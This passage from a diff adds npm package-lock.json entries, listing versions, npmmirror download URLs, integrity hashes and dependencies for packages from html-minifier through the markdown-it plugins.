"sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "node_modules/html-minifier/node_modules/lower-case": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/lower-case/-/lower-case-1.1.4.tgz", + "integrity": "sha512-2Fgx1Ycm599x+WGpIYwJOvsjmXFzTSc34IwDWALRA/8AopUKAVPwfJ+h5+f85BCp0PWmmJcWzEpxOpoXycMpdA==" + }, + "node_modules/html-minifier/node_modules/no-case": { + "version": "2.3.2", + "resolved": "https://registry.npmmirror.com/no-case/-/no-case-2.3.2.tgz", + "integrity": "sha512-rmTZ9kz+f3rCvK2TD1Ue/oZlns7OGoIWP4fc3llxxRXlOkHKoWPPWJOfFYpITabSow43QJbRIoHQXtt10VldyQ==", + "dependencies": { + "lower-case": "^1.1.1" + } + }, + "node_modules/htmlparser2": { + "version": "9.1.0", + "resolved": "https://registry.npmmirror.com/htmlparser2/-/htmlparser2-9.1.0.tgz", + "integrity": "sha512-5zfg6mHUoaer/97TxnGpxmbR7zJtPwIYFMZ/H5ucTlPZhKvtum05yiPK3Mgai3a0DyVxv7qYqoweaEd2nrYQzQ==", + "dependencies": { + "domelementtype": "^2.3.0", + "domhandler": "^5.0.3", + "domutils": "^3.1.0", + "entities": "^4.5.0" + } + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/http-errors/node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/http-proxy-agent": { + "version": "7.0.2", + "resolved": "https://registry.npmmirror.com/http-proxy-agent/-/http-proxy-agent-7.0.2.tgz", + "integrity": "sha512-T1gkAiYYDWYx3V5Bmyu7HcfcvL7mUrTWiM6yOfa3PIphViJ/gFPbvidQ+veqSOHci/PxBcDabeUNCzpOODJZig==", + "dependencies": { + "agent-base": "^7.1.0", + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/http-proxy-agent/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/http-proxy-agent/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/https-proxy-agent": { + "version": "7.0.4", + "resolved": "https://registry.npmmirror.com/https-proxy-agent/-/https-proxy-agent-7.0.4.tgz", + "integrity": "sha512-wlwpilI7YdjSkWaQ/7omYBMTliDcmCN8OLihO6I9B86g06lMyAoqgoDpV0XqoaPOKj+0DIdAvnsWfyAAhmimcg==", + "dependencies": { + "agent-base": "^7.0.2", + "debug": "4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/https-proxy-agent/node_modules/debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dependencies": { + "ms": "2.1.2" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/https-proxy-agent/node_modules/ms": { + "version": "2.1.2", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==" + }, + "node_modules/import-fresh": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/import-fresh/-/import-fresh-3.3.0.tgz", + "integrity": "sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" + }, + "node_modules/instantsearch-ui-components": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/instantsearch-ui-components/-/instantsearch-ui-components-0.4.0.tgz", + "integrity": "sha512-Isa9Ankm89e9PUXsUto6TxYzcQpXKlWZMsKLXc//dO4i9q5JS8s0Es+c+U65jRLK2j1DiVlNx/Z6HshRIZwA8w==", + "dependencies": { + "@babel/runtime": "^7.1.2" + } + }, + "node_modules/instantsearch.js": { + "version": "4.66.0", + "resolved": "https://registry.npmmirror.com/instantsearch.js/-/instantsearch.js-4.66.0.tgz", + "integrity": "sha512-85HVTVBfO0QUBPfbCx2wPE9wEsnWQqWl8IHEOni4567IhH//CwbWv8PwHhT7rBrxSCHsxrgnMTe5dFMz7yc+/A==", + "dependencies": { + "@algolia/events": "^4.0.1", + "@types/dom-speech-recognition": "^0.0.1", + "@types/google.maps": "^3.45.3", + "@types/hogan.js": "^3.0.0", + "@types/qs": "^6.5.3", + "algoliasearch-helper": "3.16.3", + "hogan.js": "^3.0.2", + "htm": "^3.0.0", + "instantsearch-ui-components": "0.4.0", + "preact": "^10.10.0", + "qs": "^6.5.1 < 6.10", + "search-insights": "^2.13.0" + }, + "peerDependencies": { + "algoliasearch": ">= 3.1 < 6" + } + }, + "node_modules/ip-address": { + "version": "9.0.5", + "resolved": "https://registry.npmmirror.com/ip-address/-/ip-address-9.0.5.tgz", + "integrity": "sha512-zHtQzGojZXTwZTHQqra+ETKd4Sn3vgi7uBmlPoXVWZqYvuKmtI0l/VZTjqGmJY9x88GGOaZ9+G9ES8hC4T4X8g==", + "dependencies": { + "jsbn": "1.1.0", + "sprintf-js": "^1.1.3" + }, + "engines": { + "node": ">= 12" + } + }, + "node_modules/is-arrayish": { + "version": "0.3.2", + "resolved": "https://registry.npmmirror.com/is-arrayish/-/is-arrayish-0.3.2.tgz", + "integrity": "sha512-eVRqCvVlZbuw3GrM63ovNSNAeA1K16kaR/LRY/92w0zxQ5/1YzwblUX652i4Xs9RwAGjW9d9y6X88t8OaAJfWQ==" + }, + "node_modules/is-binary-path": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/is-binary-path/-/is-binary-path-2.1.0.tgz", + "integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==", + "dependencies": { + "binary-extensions": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-core-module": { + "version": "2.13.1", + "resolved": "https://registry.npmmirror.com/is-core-module/-/is-core-module-2.13.1.tgz", + "integrity": "sha512-hHrIjvZsftOsvKSn2TRYl63zvxsgE0K+0mYMoH6gD4omR5IWB2KynivBQczo3+wF1cCkjzvptnI9Q0sPU66ilw==", + "dependencies": { + "hasown": "^2.0.0" + } + }, + "node_modules/is-docker": { + "version": "2.2.1", + "resolved": "https://registry.npmmirror.com/is-docker/-/is-docker-2.2.1.tgz", + "integrity": "sha512-F+i2BKsFrH66iaUFc0woD8sLy8getkwTwtOBjvs56Cx4CgJDeKQeqfz8wAYiSb8JOprWhHH5p77PbmYCvvUuXQ==", + "bin": { + "is-docker": "cli.js" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-expression": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/is-expression/-/is-expression-4.0.0.tgz", + "integrity": "sha512-zMIXX63sxzG3XrkHkrAPvm/OVZVSCPNkwMHU8oTX7/U3AL78I0QXCEICXUM13BIa8TYGZ68PiTKfQz3yaTNr4A==", + "dependencies": { + "acorn": "^7.1.1", + "object-assign": "^4.1.1" + } + }, + "node_modules/is-expression/node_modules/acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmmirror.com/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-plain-object": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/is-plain-object/-/is-plain-object-5.0.0.tgz", + "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-promise": { + "version": "2.2.2", + "resolved": "https://registry.npmmirror.com/is-promise/-/is-promise-2.2.2.tgz", + "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==" + }, + "node_modules/is-regex": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/is-regex/-/is-regex-1.1.4.tgz", + "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==", + "dependencies": { + "call-bind": "^1.0.2", + "has-tostringtag": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-wsl": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dependencies": { + "is-docker": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==" + }, + "node_modules/jake": { + "version": "10.8.7", + "resolved": "https://registry.npmmirror.com/jake/-/jake-10.8.7.tgz", + "integrity": "sha512-ZDi3aP+fG/LchyBzUM804VjddnwfSfsdeYkwt8NcbKRvo4rFkjhs456iLFn3k2ZUWvNe4i48WACDbza8fhq2+w==", + "dependencies": { + "async": "^3.2.3", + "chalk": "^4.0.2", + "filelist": "^1.0.4", + "minimatch": "^3.1.2" + }, + "bin": { + "jake": "bin/cli.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/js-stringify": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/js-stringify/-/js-stringify-1.0.2.tgz", + "integrity": "sha512-rtS5ATOo2Q5k1G+DADISilDA6lv79zIiwFd6CcjuIxGKLFm5C+RLImRscVap9k55i+MOZwgliw+NejvkLuGD5g==" + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/js-yaml-js-types": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/js-yaml-js-types/-/js-yaml-js-types-1.0.1.tgz", + "integrity": "sha512-5tpfyORs8OQ43alNERbWfYRCtWgykvzYgY46fUhrQi2+kS7N0NuuFYLZ/IrfmVm5muLTndeMublgraXiFRjEPw==", + "dependencies": { + "esprima": "^4.0.1" + }, + "peerDependencies": { + "js-yaml": "4.x" + } + }, + "node_modules/jsbn": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/jsbn/-/jsbn-1.1.0.tgz", + "integrity": "sha512-4bYVV3aAMtDTTu4+xsDYa6sy9GyJ69/amsu9sYF2zqjiEoZA5xJi3BrfX3uY+/IekIu7MwdObdbDWpoZdBv3/A==" + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" + }, + "node_modules/jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsonparse": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/jsonparse/-/jsonparse-1.3.1.tgz", + "integrity": "sha512-POQXvpdL69+CluYsillJ7SUhKvytYjW9vG/GKpnf+xP8UWgYEM/RaMzHHofbALDiKbbP1W8UEYmgGl39WkPZsg==", + "engines": [ + "node >= 0.2.0" + ] + }, + "node_modules/jstransformer": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/jstransformer/-/jstransformer-1.0.0.tgz", + "integrity": "sha512-C9YK3Rf8q6VAPDCCU9fnqo3mAfOH6vUGnMcP4AQAYIEpWtfGLpwOTmZ+igtdK5y+VvI2n3CyYSzy4Qh34eq24A==", + "dependencies": { + "is-promise": "^2.0.0", + "promise": "^7.0.1" + } + }, + "node_modules/katex": { + "version": "0.16.9", + "resolved": "https://registry.npmmirror.com/katex/-/katex-0.16.9.tgz", + "integrity": "sha512-fsSYjWS0EEOwvy81j3vRA8TEAhQhKiqO+FQaKWp0m39qwOzHVBgAUBIXWj1pB+O2W3fIpNa6Y9KSKCVbfPhyAQ==", + "dependencies": { + "commander": "^8.3.0" + }, + "bin": { + "katex": "cli.js" + } + }, + "node_modules/katex/node_modules/commander": { + "version": "8.3.0", + "resolved": "https://registry.npmmirror.com/commander/-/commander-8.3.0.tgz", + "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==", + "engines": { + "node": ">= 12" + } + }, + "node_modules/lightningcss": { + "version": "1.24.0", + "resolved": "https://registry.npmmirror.com/lightningcss/-/lightningcss-1.24.0.tgz", + "integrity": "sha512-y36QEEDVx4IM7/yIZNsZJMRREIu26WzTsauIysf5s76YeCmlSbRZS7aC97IGPuoFRnyZ5Wx43OBsQBFB5Ne7ng==", + "dependencies": { + "detect-libc": "^1.0.3" + }, + "engines": { + "node": ">= 12.0.0" + }, + "optionalDependencies": { + "lightningcss-darwin-arm64": "1.24.0", + "lightningcss-darwin-x64": "1.24.0", + "lightningcss-freebsd-x64": "1.24.0", + "lightningcss-linux-arm-gnueabihf": "1.24.0", + "lightningcss-linux-arm64-gnu": "1.24.0", + "lightningcss-linux-arm64-musl": "1.24.0", + "lightningcss-linux-x64-gnu": "1.24.0", + "lightningcss-linux-x64-musl": "1.24.0", + "lightningcss-win32-x64-msvc": "1.24.0" + } + }, + "node_modules/lightningcss-darwin-arm64": { + "version": "1.24.0", + "resolved": "https://registry.npmmirror.com/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.24.0.tgz", + "integrity": "sha512-rTNPkEiynOu4CfGdd5ZfVOQe2gd2idfQd4EfX1l2ZUUwd+2SwSdbb7cG4rlwfnZckbzCAygm85xkpekRE5/wFw==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/lightningcss-darwin-x64": { + "version": "1.24.0", + "resolved": "https://registry.npmmirror.com/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.24.0.tgz", + "integrity": "sha512-4KCeF2RJjzp9xdGY8zIH68CUtptEg8uz8PfkHvsIdrP4t9t5CIgfDBhiB8AmuO75N6SofdmZexDZIKdy9vA7Ww==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/lightningcss-freebsd-x64": { + "version": "1.24.0", + "resolved": "https://registry.npmmirror.com/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.24.0.tgz", + "integrity": "sha512-FJAYlek1wXuVTsncNU0C6YD41q126dXcIUm97KAccMn9C4s/JfLSqGWT2gIzAblavPFkyGG2gIADTWp3uWfN1g==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/lightningcss-linux-arm-gnueabihf": { + "version": "1.24.0", + "resolved": "https://registry.npmmirror.com/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.24.0.tgz", + "integrity": "sha512-N55K6JqzMx7C0hYUu1YmWqhkHwzEJlkQRMA6phY65noO0I1LOAvP4wBIoFWrzRE+O6zL0RmXJ2xppqyTbk3sYw==", + "cpu": [ + "arm" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/lightningcss-linux-arm64-gnu": { + "version": "1.24.0", + "resolved": "https://registry.npmmirror.com/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.24.0.tgz", + "integrity": "sha512-MqqUB2TpYtFWeBvvf5KExDdClU3YGLW5bHKs50uKKootcvG9KoS7wYwd5UichS+W3mYLc5yXUPGD1DNWbLiYKw==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/lightningcss-linux-arm64-musl": { + "version": "1.24.0", + "resolved": "https://registry.npmmirror.com/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.24.0.tgz", + "integrity": "sha512-5wn4d9tFwa5bS1ao9mLexYVJdh3nn09HNIipsII6ZF7z9ZA5J4dOEhMgKoeCl891axTGTUYd8Kxn+Hn3XUSYRQ==", + "cpu": [ + "arm64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/lightningcss-linux-x64-gnu": { + "version": "1.24.0", + "resolved": "https://registry.npmmirror.com/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.24.0.tgz", + "integrity": "sha512-3j5MdTh+LSDF3o6uDwRjRUgw4J+IfDCVtdkUrJvKxL79qBLUujXY7CTe5X3IQDDLKEe/3wu49r8JKgxr0MfjbQ==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/lightningcss-linux-x64-musl": { + "version": "1.24.0", + "resolved": "https://registry.npmmirror.com/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.24.0.tgz", + "integrity": "sha512-HI+rNnvaLz0o36z6Ki0gyG5igVGrJmzczxA5fznr6eFTj3cHORoR/j2q8ivMzNFR4UKJDkTWUH5LMhacwOHWBA==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/lightningcss-win32-x64-msvc": { + "version": "1.24.0", + "resolved": "https://registry.npmmirror.com/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.24.0.tgz", + "integrity": "sha512-oeije/t7OZ5N9vSs6amyW/34wIYoBCpE6HUlsSKcP2SR1CVgx9oKEM00GtQmtqNnYiMIfsSm7+ppMb4NLtD5vg==", + "cpu": [ + "x64" + ], + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmmirror.com/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" + }, + "node_modules/linkify-it": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/linkify-it/-/linkify-it-4.0.1.tgz", + "integrity": "sha512-C7bfi1UZmoj8+PQx22XyeXCuBlokoyWQL5pWSP+EI6nzRylyThouddufc2c1NDIcP9k5agmN9fLpA7VNJfIiqw==", + "dependencies": { + "uc.micro": "^1.0.1" + } + }, + "node_modules/loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "peer": true, + "dependencies": { + "js-tokens": "^3.0.0 || ^4.0.0" + }, + "bin": { + "loose-envify": "cli.js" + } + }, + "node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/magic-string": { + "version": "0.30.8", + "resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.8.tgz", + "integrity": "sha512-ISQTe55T2ao7XtlAStud6qwYPZjE4GK1S/BeVPus4jrq6JuOnQ00YKQC581RWhR122W7msZV263KzVeLoqidyQ==", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.4.15" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/markdown-it": { + "version": "13.0.2", + "resolved": "https://registry.npmmirror.com/markdown-it/-/markdown-it-13.0.2.tgz", + "integrity": "sha512-FtwnEuuK+2yVU7goGn/MJ0WBZMM9ZPgU9spqlFs7/A/pDIUNSOQZhUgOqYCficIuR2QaFnrt8LHqBWsbTAoI5w==", + "dependencies": { + "argparse": "^2.0.1", + "entities": "~3.0.1", + "linkify-it": "^4.0.1", + "mdurl": "^1.0.1", + "uc.micro": "^1.0.5" + }, + "bin": { + "markdown-it": "bin/markdown-it.js" + } + }, + "node_modules/markdown-it-abbr": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/markdown-it-abbr/-/markdown-it-abbr-1.0.4.tgz", + "integrity": "sha512-ZeA4Z4SaBbYysZap5iZcxKmlPL6bYA8grqhzJIHB1ikn7njnzaP8uwbtuXc4YXD5LicI4/2Xmc0VwmSiFV04gg==" + }, + "node_modules/markdown-it-attrs": { + "version": "4.1.6", + "resolved": "https://registry.npmmirror.com/markdown-it-attrs/-/markdown-it-attrs-4.1.6.tgz", + "integrity": "sha512-O7PDKZlN8RFMyDX13JnctQompwrrILuz2y43pW2GagcwpIIElkAdfeek+erHfxUOlXWPsjFeWmZ8ch1xtRLWpA==", + "engines": { + "node": ">=6" + }, + "peerDependencies": { + "markdown-it": ">= 9.0.0" + } + }, + "node_modules/markdown-it-bracketed-spans": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/markdown-it-bracketed-spans/-/markdown-it-bracketed-spans-1.0.1.tgz", + "integrity": "sha512-ffDHx7bdOEecvo/EPpsatFLNnLZBRdj+ZF/v6gGJh0ixU0oVWxUUeJn5daVnT0sn0MU73G9oPDTqBX82z99fnw==" + }, + "node_modules/markdown-it-charts": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/markdown-it-charts/-/markdown-it-charts-1.0.5.tgz", + "integrity": "sha512-dx7P+PfiFKFm4peUexs/C1Z0i++3TxcIDirhPSg4YGlui2Ao5+xRuXnlUtB6ztdVOOWP3Lllzry3cPCzkwPCSg==", + "bin": { + "markdown-it-charts": "bin/markdown-it-charts.js" + } + }, + "node_modules/markdown-it-container": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/markdown-it-container/-/markdown-it-container-3.0.0.tgz", + "integrity": "sha512-y6oKTq4BB9OQuY/KLfk/O3ysFhB3IMYoIWhGJEidXt1NQFocFK2sA2t0NYZAMyMShAGL6x5OPIbrmXPIqaN9rw==" + }, + "node_modules/markdown-it-deflist": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/markdown-it-deflist/-/markdown-it-deflist-2.1.0.tgz", + "integrity": "sha512-3OuqoRUlSxJiuQYu0cWTLHNhhq2xtoSFqsZK8plANg91+RJQU1ziQ6lA2LzmFAEes18uPBsHZpcX6We5l76Nzg==" + }, + "node_modules/markdown-it-emoji": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/markdown-it-emoji/-/markdown-it-emoji-2.0.2.tgz", + "integrity": "sha512-zLftSaNrKuYl0kR5zm4gxXjHaOI3FAOEaloKmRA5hijmJZvSjmxcokOLlzycb/HXlUFWzXqpIEoyEMCE4i9MvQ==" + }, + "node_modules/markdown-it-footnote": { + "version": "3.0.3", + "resolved": 